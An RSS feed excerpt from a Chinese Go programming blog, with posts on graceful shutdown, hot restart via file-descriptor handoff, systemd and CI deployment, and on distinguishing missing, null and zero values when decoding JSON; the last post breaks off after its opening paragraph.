<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet href="/pretty-feed-v3.xsl" type="text/xsl"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>sulinehk</title><description>sulinehk blog 是一个致力于提供高质量技术文章的个人博客，内容囊括整个计算机科学学科，具体讨论的主题有软件工程、数据结构与算法分析和 Go 语言实践等。</description><link>https://www.sulinehk.com/</link><item><title>Golang 实现优雅停机、热重启、systemd 集成和持续部署</title><link>https://www.sulinehk.com/post/golang-implement-graceful-shutdown-hot-restart-systemd-continuous-deployment/</link><guid isPermaLink="true">https://www.sulinehk.com/post/golang-implement-graceful-shutdown-hot-restart-systemd-continuous-deployment/</guid><pubDate>Sun, 25 May 2025 07:10:51 GMT</pubDate><content:encoded>&lt;p&gt;在上一个项目 listdb 中，客户希望实现零停机，即程序更新时，保持正在执行的请求不中断，且拒绝新的请求，保持服务可用性，让第三方用户零感知。&lt;/p&gt;
&lt;p&gt;这种需求在云原生环境下一般被称为&lt;a href=&quot;https://docs.aws.amazon.com/whitepapers/latest/overview-deployment-options/rolling-deployments.html&quot;&gt;滚动部署（Rolling deployments）&lt;/a&gt;，需要 k8s 等组件参与。&lt;/p&gt;
&lt;p&gt;客户希望保持项目的简单和减少依赖，所以不能使用云原生组件和第三方包，所以需要手动实现优雅停机（Graceful Shutdown）、热重启（Hot Restart）、systemd 集成和持续部署集成。&lt;/p&gt;
&lt;h2&gt;优雅停机&lt;/h2&gt;
&lt;p&gt;Go 1.8 后能简单的使用 &lt;code&gt;http.Server&lt;/code&gt; 的 &lt;code&gt;Shutdown&lt;/code&gt; 来实现，示例如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func Start(timeout time.Duration) {
	mux := http.NewServeMux()
	mux.HandleFunc(&quot;/&quot;, func(w http.ResponseWriter, r *http.Request) {
		log.Println(&quot;start request&quot;)
		// 模拟长时间的请求
		time.Sleep(5 * time.Second)
		// 用来表示请求完成
		_, err := w.Write([]byte(&quot;request done&quot;))
		if err != nil {
			log.Panicln(err)
		}
		log.Println(&quot;end request&quot;)
	})

	server := &amp;amp;http.Server{
		Addr:    &quot;:8080&quot;,
		Handler: mux,
	}

	go func() {
		log.Println(&quot;start server&quot;)
		err := server.ListenAndServe()
		// 程序阻塞在这里，其它 goroutine 调用了 Shutdown，会立即返回 http.ErrServerClosed
		// 所以需要捕捉这个错误来防止程序退出
		if err != nil &amp;amp;&amp;amp; !errors.Is(err, http.ErrServerClosed) {
			log.Panicln(&quot;ListenAndServe err:&quot;, err)
		}
		log.Println(&quot;end server&quot;)
	}()

	// 对用于通知一个信号值的通道，1 的缓冲区就足够了
	signalChan := make(chan os.Signal, 1)

	// 接管默认的信号的处理
	// 声明需要捕获的信号
	signal.Notify(signalChan, syscall.SIGTERM, syscall.SIGINT)

	// 在没有接收到信号前，阻塞在这里
	log.Println(&quot;start block signal&quot;)
	&amp;lt;-signalChan
	log.Println(&quot;end block signal&quot;)

	ctx, cancel := context.WithTimeout(context.Background(), timeout)
	defer cancel()

	// 接收到信号后，开始关闭
	log.Println(&quot;start shutdown&quot;)
	// 不需要手动调用 server.Close，Shutdown 会做
	err := server.Shutdown(ctx)
	if err != nil {
		if errors.Is(err, context.DeadlineExceeded) {
			log.Fatalln(&quot;Shutdown timeout&quot;)
			// 超时后，可以使用重试、降级和熔断等手段
		} else {
			log.Panicln(&quot;Shutdown err:&quot;, err)
		}
	}
	log.Println(&quot;end shutdown&quot;)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;常见信号和其作用为：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SIGKILL：立即终止信号，无法被捕获&lt;/li&gt;
&lt;li&gt;SIGTERM：标准的终止进程信号，也是 kill 命令默认发送的信号&lt;/li&gt;
&lt;li&gt;SIGINT：终端中断信号，即 Ctrl+C&lt;/li&gt;
&lt;li&gt;SIGUSR1、SIGUSR2：用户自定义信号，后面会用于热重启&lt;/li&gt;
&lt;li&gt;SIGHUP：重载配置信号&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;目前只捕获了 SIGTERM 和 SIGINT。&lt;/p&gt;
&lt;p&gt;对优雅停机的测试如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func TestGracefulShutdown(t *testing.T) {
	go Start(10 * time.Second)
	// 这里的 sleep 是为了让程序进入 &amp;lt;-signalChan 的阻塞
	time.Sleep(1 * time.Second)

	go func() {
		// 如果直接调用路由对应的处理函数，会导致无法进入 Shutdown 的等待队列
		// 所以只能直接调用 http.Get
		resp, err := http.Get(&quot;http://localhost:8080/&quot;)
		if err != nil {
			log.Panicln(&quot;Get err:&quot;, err)
		}
		defer resp.Body.Close()

		respBodyBytes, err := io.ReadAll(resp.Body)
		if err != nil {
			log.Panicln(&quot;ReadAll err:&quot;, err)
		}

		log.Println(&quot;sign message:&quot;, string(respBodyBytes))
	}()
	// 这里的 sleep 是为了让上一个请求发出后，再开始发送信号
	time.Sleep(1 * time.Second)

	process, err := os.FindProcess(os.Getpid())
	if err != nil {
		t.Fatal(&quot;FindProcess err:&quot;, err)
	}

	err = process.Signal(syscall.SIGTERM)
	if err != nil {
		t.Fatal(&quot;Signal err:&quot;, err)
	}

	// 这里的 sleep 是为了防止程序过快退出，导致无法看到请求完成的日志
	time.Sleep(8 * time.Second)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;日志显示了，在请求进行中时，即使收到信号，也会等待请求完成：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;2025/05/20 13:33:28 start server
2025/05/20 13:33:28 start block signal
2025/05/20 13:33:29 start request
2025/05/20 13:33:30 end block signal
2025/05/20 13:33:30 start shutdown
2025/05/20 13:33:30 end server
2025/05/20 13:33:34 end request
2025/05/20 13:33:34 sign message: request done
2025/05/20 13:33:34 end shutdown
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对超时的测试如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func TestGracefulShutdownTimeout(t *testing.T) {
	// timeout 小于请求的 time.Sleep(5 * time.Second)，用来模拟超时场景
	go Start(3 * time.Second)
	// 这里的 sleep 是为了让程序进入 &amp;lt;-signalChan 的阻塞
	time.Sleep(1 * time.Second)

	go func() {
		// 如果直接调用路由对应的处理函数，会导致无法进入 Shutdown 的等待队列
		// 所以只能直接调用 http.Get
		resp, err := http.Get(&quot;http://localhost:8080/&quot;)
		if err != nil {
			log.Panicln(&quot;Get err:&quot;, err)
		}
		defer resp.Body.Close()

		respBodyBytes, err := io.ReadAll(resp.Body)
		if err != nil {
			log.Panicln(&quot;ReadAll err:&quot;, err)
		}

		log.Println(&quot;sign message:&quot;, string(respBodyBytes))
	}()
	// 这里的 sleep 是为了让上一个请求发出后，再开始发送信号
	time.Sleep(1 * time.Second)

	process, err := os.FindProcess(os.Getpid())
	if err != nil {
		t.Fatal(&quot;FindProcess err:&quot;, err)
	}

	err = process.Signal(syscall.SIGTERM)
	if err != nil {
		t.Fatal(&quot;Signal err:&quot;, err)
	}

	// 这里的 sleep 是为了防止程序过快退出，导致无法看到请求完成的日志
	time.Sleep(8 * time.Second)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;日志显示了，在请求进行中时，可以捕获超时错误：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;2025/05/20 13:37:01 start server
2025/05/20 13:37:01 start block signal
2025/05/20 13:37:02 start request
2025/05/20 13:37:03 end block signal
2025/05/20 13:37:03 start shutdown
2025/05/20 13:37:03 end server
2025/05/20 13:37:06 Shutdown timeout
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;热重启&lt;/h2&gt;
&lt;p&gt;该实现结合了优雅停机和热重启。&lt;/p&gt;
&lt;p&gt;但因为需求紧急，且热重启逻辑过于复杂，以下代码可能有错误，谨慎在生产环境中使用。&lt;/p&gt;
&lt;p&gt;最好还是使用第三方包，或者干脆使用定时任务在流量少的时候停机更新。&lt;/p&gt;
&lt;h3&gt;步骤&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;正常启动，阻塞在 &lt;code&gt;server.Serve&lt;/code&gt; 和 &lt;code&gt;switch &amp;lt;-signalChan&lt;/code&gt;，等待信号&lt;/li&gt;
&lt;li&gt;接收到 SIGUSR1 信号，开始热重启&lt;/li&gt;
&lt;li&gt;从正常启动的 listener 获取文件描述符，通过命令行参数 &lt;code&gt;-fd n&lt;/code&gt; 传递给新进程&lt;/li&gt;
&lt;li&gt;启动新进程，旧进程结束&lt;/li&gt;
&lt;li&gt;新进程从传递的 -fd 参数获取 listener，回到第一步，阻塞在 &lt;code&gt;server.Serve&lt;/code&gt; 和 &lt;code&gt;switch &amp;lt;-signalChan&lt;/code&gt;，等待信号&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;代码&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;func main() {
	// 0 表示未传入
	// flag 参数始终不为 nil
	fd := flag.Uint(&quot;fd&quot;, 0, &quot;旧进程传给新进程的文件描述符&quot;)
	flag.Parse()

	// 如果未传入 fd，正常 listen
	// 如果传入了 fd，通过 fd 来 listen
	// 未传入，正常启动
	var listener net.Listener
	if *fd == 0 {
		listener = normalModeListener()
	} else {
		listener = hotRestartModeListener(*fd)
	}

	// 这里不再设置地址，net.Listen 已经设置了
	server := &amp;amp;http.Server{
		Handler: handler(),
	}
	// 不管是 normal mode 还是 hot restart mode 都会进入这里，只不过 listener 不同
	go func() {
		log.Println(&quot;start serve&quot;)

		err := server.Serve(listener)

		log.Println(&quot;stop Serve err:&quot;, err)

		if err != nil &amp;amp;&amp;amp; !errors.Is(err, http.ErrServerClosed) {
			log.Panicln(&quot;Serve err:&quot;, err)
		}

		log.Println(&quot;end serve&quot;)
	}()

	signalChan := make(chan os.Signal, 1)
	signal.Notify(signalChan, syscall.SIGTERM, syscall.SIGINT, syscall.SIGUSR1)

	log.Println(&quot;start block signal&quot;)

	switch &amp;lt;-signalChan {
	case syscall.SIGUSR1:
		log.Println(&quot;start hot restart&quot;)

		// hot restart mode，第一步：旧进程接收到信号
		// listener 和 server 都是正常打开的
		err := HotRestart(listener)
		if err != nil {
			log.Panicln(err)
		}

		log.Println(&quot;start hot restart mode graceful shutdown&quot;)

		// server.Shutdown(ctx) 会关闭文件描述符
		GracefulShutdown(server)

		log.Println(&quot;end hot restart mode graceful shutdown&quot;)

		log.Println(&quot;end hot restart&quot;)
		// 旧进程主动退出
		// 跟 os.Exit(0) 没有区别？

	case syscall.SIGTERM, syscall.SIGINT:
		log.Println(&quot;start normal mode graceful shutdown&quot;)

		GracefulShutdown(server)
		// 自然退出
		log.Println(&quot;end normal mode graceful shutdown&quot;)
	}

	log.Println(&quot;end block signal&quot;)
}

func handler() *http.ServeMux {
	mux := http.NewServeMux()
	mux.HandleFunc(&quot;/&quot;, func(w http.ResponseWriter, r *http.Request) {
		log.Println(&quot;start request&quot;)

		time.Sleep(5 * time.Second)
		_, err := w.Write([]byte(&quot;request done&quot;))
		if err != nil {
			log.Panicln(err)
		}

		log.Println(&quot;request pid =&quot;, os.Getpid())

		log.Println(&quot;end request&quot;)
	})
	return mux
}

func normalModeListener() net.Listener {
	log.Println(&quot;start listen on normal mode&quot;)

	log.Println(&quot;normal mode listen on pid =&quot;, os.Getpid())

	// fd1，一般是 3 号
	listener, err := net.Listen(&quot;tcp&quot;, &quot;:8080&quot;)
	if err != nil {
		log.Panicln(&quot;Listen err:&quot;, err)
	}

	log.Println(&quot;end listen on normal mode&quot;)

	return listener
}

func hotRestartModeListener(fd uint) net.Listener {
	// hot restart mode，第二步：来自 StartProcess
	log.Println(&quot;start listen on hot restart mode&quot;)

	log.Println(&quot;hot restart mode listen on pid =&quot;, os.Getpid())

	log.Println(&quot;hot restart mode receive fd =&quot;, fd)

	// NewFile 的第二个参数不重要
	file := os.NewFile(uintptr(fd), &quot;random string&quot;)
	if file == nil {
		log.Panicln(&quot;invalid fd:&quot;, fd)
	}

	// // 关闭 3 号的代码，但是会导致请求过程中，发送升级信号，返回错误
	// oldFile := os.NewFile(uintptr(*fd-1), &quot;random string2&quot;)
	// if oldFile == nil {
	// 	log.Panicln(&quot;invalid fd:&quot;, *fd)
	// }
	// err := oldFile.Close()
	// if err != nil {
	// 	log.Panicln(&quot;Close err:&quot;, err)
	// }

	// 会创建 file 的文件描述符副本
	// 原本是 5 号，但顺延到 6 号
	listener, err := net.FileListener(file)
	if err != nil {
		err = file.Close()
		if err != nil {
			log.Panicln(&quot;Close err:&quot;, err)
		}

		log.Panicln(&quot;FileListener err:&quot;, err)
	}

	// 创建了副本就马上关闭原来的
	// 关闭 4 号
	err = file.Close()
	if err != nil {
		log.Panicln(&quot;Close err:&quot;, err)
	}

	// 这里如果用 defer，会导致 main 函数返回时才执行
	// 但由于使用了 os.Exit，会导致 main 不会正常返回，所以不会执行 defer
	// 就算不使用 os.Exit 也会不关闭，能看到日志，但是链接数还是增加，不知道为什么
	// defer func() {
	// 	log.Println(&quot;start close file&quot;)
	// 	err := file.Close()
	// 	if err != nil {
	// 		log.Panicln(&quot;Close err:&quot;, err)
	// 	}
	// 	log.Println(&quot;end close file&quot;)
	// }()

	log.Println(&quot;end listen on hot restart mode&quot;)

	return listener
}

func GracefulShutdown(server *http.Server) {
	ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
	defer cancel()

	err := server.Shutdown(ctx)
	if err != nil {
		if errors.Is(err, context.DeadlineExceeded) {
			log.Fatalln(&quot;Shutdown timeout&quot;)
		} else {
			log.Panicln(&quot;Shutdown err:&quot;, err)
		}
	}
}

func HotRestart(listener net.Listener) error {
	// 不需要关闭 tcpListener，server 里面有一个 tcpListener，GracefulShutdown 会关闭
	tcpListener, ok := listener.(*net.TCPListener)
	if !ok {
		return errors.New(&quot;listener not *net.TCPListener&quot;)
	}

	// 会创建 tcpListener 文件描述符的副本，新的 fd 数字 = fd + 1，上面的是 3 号，所以这里是 4 号
	// 需要传递给新进程，所以不能关闭
	file, err := tcpListener.File()
	if err != nil {
		return err
	}

	fd := file.Fd()

	log.Println(&quot;tcpListener fd copy =&quot;, fd)

	// Go 默认设置 FD_CLOEXEC 给套接字，
	// 但是该标志会导致在调用 exec（os.StartProcess 或 cmd.Start） 时，被操作系统自动关闭
	// 所以需要清除该标记
	err = clearCLOEXEC(fd)
	if err != nil {
		return err
	}

	log.Println(&quot;old args =&quot;, os.Args)

	pureArgs := os.Args[1:]

	// 需要传递原来的参数
	// 并且把 fd 放在命令行参数，给新进程使用
	// 如果有 -fd，就替换 -fd 对应的数字，不然添加 -fd n
	fdStr := strconv.Itoa(int(fd))
	found := false
	for i := range pureArgs {
		if pureArgs[i] == &quot;-fd&quot; {
			pureArgs[i+1] = fdStr
			found = true
		}
	}
	if !found {
		pureArgs = append(pureArgs, &quot;-fd&quot;, fdStr)
	}

	log.Println(&quot;new args =&quot;, pureArgs)

	// 仅使用 os.Args[0] 可能会导致在环境变量的干扰下失效
	name, err := exec.LookPath(os.Args[0])
	if err != nil {
		return err
	}

	wd, err := os.Getwd()
	if err != nil {
		return err
	}

	cmd := exec.Command(name, pureArgs...)
	log.Println(cmd.Args)
	cmd.Stdout = os.Stdout
	cmd.Stderr = os.Stderr
	// 根据需要传递旧进程的环境变量和工作目录
	cmd.Env = os.Environ()
	cmd.Dir = wd
	// 同时传递 fd 和 file 的原因是
	// file 只是让新进程和操作系统绑定对应文件描述符
	// 还需要通过 os.NewFile(fd) 来获得一个 Go 结构体数据结构，才能操作对应的套接字
	cmd.ExtraFiles = []*os.File{file}

	err = cmd.Start()
	if err != nil {
		return err
	}

	// 更底层的启动方式
	// newProcess, err := os.StartProcess(name, newArgs, &amp;amp;os.ProcAttr{
	// 	Files: []*os.File{os.Stdin, os.Stdout, os.Stderr, file},
	// 	Env: os.Environ(),
	// 	Dir: wd,
	// })
	// if err != nil {
	// 	return err
	// }

	return nil
}

func clearCLOEXEC(fd uintptr) error {
	// 直接清除全部
	// _, _, errno := syscall.Syscall(syscall.SYS_FCNTL, fd, syscall.F_SETFD, 0)
	// if errno != 0 {
	// 	return errors.New(&quot;cannot clear all flag on fd&quot;)
	// }

	// 先获取，然后清除
	flags, _, errno := syscall.Syscall(syscall.SYS_FCNTL, fd, uintptr(syscall.F_GETFD), 0)
	if errno != 0 {
		return errors.New(&quot;cannot get flags on fd&quot;)
	}

	newFlags := flags &amp;amp;^ syscall.FD_CLOEXEC
	_, _, errno = syscall.Syscall(syscall.SYS_FCNTL, fd, uintptr(syscall.F_SETFD), newFlags)
	if errno != 0 {
		return errors.New(&quot;cannot set flags on fd&quot;)
	}

	return nil
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;测试&lt;/h3&gt;
&lt;p&gt;因为涉及启动进程，所以难以使用 Go 内置测试环境，改为手动测试，步骤如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;启动服务：&lt;code&gt;go build -o restart &amp;amp;&amp;amp; ./restart&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;使用代码每隔 1s 访问一次路由&lt;/li&gt;
&lt;li&gt;发送热重启信号：&lt;code&gt;kill -SIGUSR1 $(pidof restart)&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;步骤 2 使用以下代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;	for {
		resp, err := http.Get(&quot;http://localhost:8080/&quot;)
		if err != nil {
			log.Println(err)
		}
		body, _ := io.ReadAll(resp.Body)
		log.Println(string(body))
		time.Sleep(1 * time.Second)
	}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到日志显示了新进程的启动，服务也并没有中断。&lt;/p&gt;
&lt;h3&gt;改进&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;端口复用，添加 SO_REUSEPORT 支持&lt;/li&gt;
&lt;li&gt;关闭多余文件描述符：在热重启后，通过命令 &lt;code&gt;lsof -p $(pidof restart)&lt;/code&gt; 可以看出，占用的文件描述符多了一个&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;第三方包评估&lt;/h3&gt;
&lt;p&gt;最新的还在维护的包：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/cloudflare/tableflip&lt;/li&gt;
&lt;li&gt;https://github.com/sevlyar/go-daemon&lt;/li&gt;
&lt;li&gt;https://github.com/rs/seamless&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;以下包可能过旧，但可以参考：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/facebookarchive/grace&lt;/li&gt;
&lt;li&gt;https://github.com/fvbock/endless&lt;/li&gt;
&lt;li&gt;https://github.com/rcrowley/goagain&lt;/li&gt;
&lt;li&gt;https://github.com/crawshaw/littleboss&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;systemd 集成&lt;/h2&gt;
&lt;p&gt;参考 &lt;a href=&quot;https://github.com/cloudflare/tableflip?tab=readme-ov-file#integration-with-systemd&quot;&gt;tableflip&lt;/a&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[Unit]
Description=Service using tableflip

[Service]
ExecStart=/path/to/binary -some-flag /path/to/pid-file
ExecReload=/bin/kill -HUP $MAINPID
PIDFile=/path/to/pid-file
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因为 systemd 需要 pid-file 实现自动重启等功能，所以还需要实现写入 pid-file 的逻辑。&lt;/p&gt;
&lt;h2&gt;持续部署&lt;/h2&gt;
&lt;p&gt;这里以 GitHub Actions 为例：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;on: [ push ]
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@main
      - uses: actions/setup-go@main
        with:
          go-version-file: &apos;go.mod&apos;
      - run: go build -o example .
      - uses: appleboy/scp-action@master
        with:
          host: ${{ secrets.host }}
          username: ${{ secrets.user }}
          key: ${{ secrets.serverKey }}
          port: ${{ secrets.port }}
          source: &quot;example&quot;
          target: &quot;/&quot;

      - uses: appleboy/ssh-action@master
        with:
          host: ${{ secrets.host }}
          username: ${{ secrets.user }}
          key: ${{ secrets.serverKey }}
          port: ${{ secrets.port }}
          script:
            ps -C example &amp;gt;/dev/null &amp;amp;&amp;amp; pkill -SIGUSR2 example || ./example
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可能还需要实现通过命令行参数，传递新的二进制文件路径的功能。&lt;/p&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://victoriametrics.com/blog/go-graceful-shutdown/index.html&quot;&gt;Graceful Shutdown in Go: Practical Patterns&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://vincent.bernat.ch/en/blog/2017-systemd-golang&quot;&gt;Integration of a Go service with systemd: readiness &amp;amp; liveness&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://grisha.org/blog/2014/06/03/graceful-restart-in-golang/&quot;&gt;Graceful Restart in Golang&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>Golang</category></item><item><title>Golang JSON 解码时区分正常值、零值、未传入和 null</title><link>https://www.sulinehk.com/post/golang-json-decode-distinguish-normal-value-zero-value-no-pass-in-and-null/</link><guid isPermaLink="true">https://www.sulinehk.com/post/golang-json-decode-distinguish-normal-value-zero-value-no-pass-in-and-null/</guid><pubDate>Mon, 12 May 2025 09:50:58 GMT</pubDate><content:encoded>&lt;h2&gt;问题&lt;/h2&gt;
&lt;p&gt;在上一个项目 listdb 中，客户希望在传入的 JSON 中区分正常值、零值、未传入和 null。&lt;/p&gt;
&lt;p&gt;但 Golang 使用默认的 JSON 解码时，无法区分，示例如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func TestDistinguishProblem(t *testing.T) {
	type jsonStruct struct {
		Value bool
	}

	normalValueJSON := []byte(`{&quot;Value&quot;: true}`)
	var normalValue jsonStruct
	err := json.Unmarshal(normalValueJSON, &amp;amp;normalValue)
	if err != nil {
		log.Fatal(err)
	}
	fmt.Println(normalValue.Value) // true

	zeroValueJSON := []byte(`{&quot;Value&quot;: false}`)
	var zeroValue jsonStruct
	err = json.Unmarshal(zeroValueJSON, &amp;amp;zeroValue)
	if err != nil {
		log.Fatal(err)
	}
	fmt.Println(zeroValue.Value) // false

	noPassInJSON := []byte(`{}`)
	var noPassIn jsonStruct
	err = json.Unmarshal(noPassInJSON, &amp;amp;noPassIn)
	if err != nil {
		log.Fatal(err)
	}
	fmt.Println(noPassIn.Value) // false

	nullValueJSON := []byte(`{&quot;Value&quot;: null}`)
	var nullValue jsonStruct
	err = json.Unmarshal(nullValueJSON, &amp;amp;nullValue)
	if err != nil {
		log.Fatal(err)
	}
	fmt.Println(nullValue.Value) // false
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;解决方案 1：指针&lt;/h2&gt;
&lt;p&gt;使用对应类型的指针，当指针为 &lt;code&gt;nil&lt;/code&gt; 时，表示未传入或传入 null；当指针不为 &lt;code&gt;nil&lt;/code&gt; 且为零值时，表示零值。&lt;/p&gt;
&lt;p&gt;但这样还是无法区分未传入和传入 null，示例如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func TestPointer(t *testing.T) {
	type jsonStruct struct {
		Value *bool
	}

	normalValueJSON := []byte(`{&quot;Value&quot;: true}`)
	var normalValue jsonStruct
	err := json.Unmarshal(normalValueJSON, &amp;amp;normalValue)
	if err != nil {
		log.Fatal(err)
	}
	fmt.Println(*normalValue.Value) // true

	zeroValueJSON := []byte(`{&quot;Value&quot;: false}`)
	var zeroValue jsonStruct
	err = json.Unmarshal(zeroValueJSON, &amp;amp;zeroValue)
	if err != nil {
		log.Fatal(err)
	}
	fmt.Println(*zeroValue.Value) // false

	noPassInJSON := []byte(`{}`)
	var noPassIn jsonStruct
	err = json.Unmarshal(noPassInJSON, &amp;amp;noPassIn)
	if err != nil {
		log.Fatal(err)
	}
	if noPassIn.Value == nil {
		fmt.Println(&quot;no pass in or null&quot;)
	} else {
		fmt.Println(*noPassIn.Value)
	}

	nullValueJSON := []byte(`{&quot;Value&quot;: null}`)
	var nullValue jsonStruct
	err = json.Unmarshal(nullValueJSON, &amp;amp;nullValue)
	if err != nil {
		log.Fatal(err)
	}
	if nullValue.Value == nil {
		fmt.Println(&quot;no pass in or null&quot;)
	} else {
		fmt.Println(*nullValue.Value)
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;解决方案 2：结构体&lt;/h2&gt;
&lt;p&gt;使用指针和一个 &lt;code&gt;bool&lt;/code&gt; 表示值是否定义，底层原理跟指针方案一样。&lt;/p&gt;
&lt;p&gt;当 &lt;code&gt;Defined&lt;/code&gt; 为 &lt;code&gt;false&lt;/code&gt; 时，表示未传入或传入 null；当 &lt;code&gt;Defined&lt;/code&gt; 为 &lt;code&gt;true&lt;/code&gt; 时且 &lt;code&gt;Value&lt;/code&gt; 为零值时，表示零值。&lt;/p&gt;
&lt;p&gt;同样无法区分未传入和传入 null，示例如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type jsonStruct[T any] struct {
	Defined bool
	Value   *T
}

func TestStruct(t *testing.T) {
	normalValueJSON := []byte(`{&quot;Value&quot;: true}`)
	var normalValue jsonStruct[bool]
	err := json.Unmarshal(normalValueJSON, &amp;amp;normalValue)
	if err != nil {
		log.Fatal(err)
	}
	fmt.Println(*normalValue.Value) // true

	zeroValueJSON := []byte(`{&quot;Value&quot;: false}`)
	var zeroValue jsonStruct[bool]
	err = json.Unmarshal(zeroValueJSON, &amp;amp;zeroValue)
	if err != nil {
		log.Fatal(err)
	}
	fmt.Println(*zeroValue.Value) // false

	noPassInJSON := []byte(`{}`)
	var noPassIn jsonStruct[bool]
	err = json.Unmarshal(noPassInJSON, &amp;amp;noPassIn)
	if err != nil {
		log.Fatal(err)
	}
	if noPassIn.Defined == false {
		fmt.Println(&quot;no pass in or null&quot;)
	} else {
		fmt.Println(*noPassIn.Value)
	}

	nullValueJSON := []byte(`{&quot;Value&quot;: null}`)
	var nullValue jsonStruct[bool]
	err = json.Unmarshal(nullValueJSON, &amp;amp;nullValue)
	if err != nil {
		log.Fatal(err)
	}
	if nullValue.Defined == false {
		fmt.Println(&quot;no pass in or null&quot;)
	} else {
		fmt.Println(*nullValue.Value)
	}
}

func (j *jsonStruct[T]) UnmarshalJSON(data []byte) error {
	type tempStruct struct {
		Value *T
	}

	var temp tempStruct
	err := json.Unmarshal(data, &amp;amp;temp)
	if err != nil {
		return err
	}

	if temp.Value != nil {
		j.Defined = true
	}

	j.Value = temp.Value
	return nil
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;解决方案 3：两段式解码&lt;/h2&gt;
&lt;p&gt;第一次先解码到 &lt;code&gt;json.RawMessage&lt;/code&gt;，第二次再解码到具体的类型。&lt;/p&gt;
&lt;p&gt;通过 &lt;code&gt;json.RawMessage&lt;/code&gt; 可以判断到底是正常值、零值、未传入还是 null。示例如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func TestRaw(t *testing.T) {
	type jsonStruct struct {
		Value json.RawMessage
	}

	normalValueJSON := []byte(`{&quot;Value&quot;: true}`)
	var normalRawValue jsonStruct
	err := json.Unmarshal(normalValueJSON, &amp;amp;normalRawValue)
	if err != nil {
		log.Fatal(err)
	}
	var normalValue bool
	err = json.Unmarshal(normalRawValue.Value, &amp;amp;normalValue)
	if err != nil {
		log.Fatal(err)
	}
	fmt.Println(normalValue) // true

	zeroValueJSON := []byte(`{&quot;Value&quot;: false}`)
	var zeroRawValue jsonStruct
	err = json.Unmarshal(zeroValueJSON, &amp;amp;zeroRawValue)
	if err != nil {
		log.Fatal(err)
	}
	var zeroValue bool
	err = json.Unmarshal(zeroRawValue.Value, &amp;amp;zeroValue)
	if err != nil {
		log.Fatal(err)
	}
	fmt.Println(zeroValue) // false

	noPassInJSON := []byte(`{}`)
	var noPassInRaw jsonStruct
	err = json.Unmarshal(noPassInJSON, &amp;amp;noPassInRaw)
	if err != nil {
		log.Fatal(err)
	}
	if noPassInRaw.Value == nil {
		fmt.Println(&quot;no pass in&quot;)
	} else {
		fmt.Println(noPassInRaw.Value)
	}

	nullValueJSON := []byte(`{&quot;Value&quot;: null}`)
	var nullValueRaw jsonStruct
	err = json.Unmarshal(nullValueJSON, &amp;amp;nullValueRaw)
	if err != nil {
		log.Fatal(err)
	}
	if string(nullValueRaw.Value) == &quot;null&quot; {
		fmt.Println(&quot;null&quot;)
	} else {
		fmt.Println(nullValueRaw.Value)
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://biscuit.ninja/posts/unmarshalling-json-with-null-booleans-in-go/&quot;&gt;Unmarshalling JSON with Null Boolean Values in Go&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/36601367/json-field-set-to-null-vs-field-not-there&quot;&gt;JSON field set to null vs field not there&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>Golang</category></item><item><title>json.Unmarshal 解码数字意外变为 float64 问题</title><link>https://www.sulinehk.com/post/jsonunmarshal-decode-number-unexpectedly-become-float64-problem/</link><guid isPermaLink="true">https://www.sulinehk.com/post/jsonunmarshal-decode-number-unexpectedly-become-float64-problem/</guid><pubDate>Fri, 09 May 2025 08:17:24 GMT</pubDate><content:encoded>&lt;h2&gt;问题&lt;/h2&gt;
&lt;p&gt;在上一个项目 listdb 中，客户希望通过 any 类型来收集多种类型的值，并且需要兼容超出 math.MaxUint64 的数字。&lt;/p&gt;
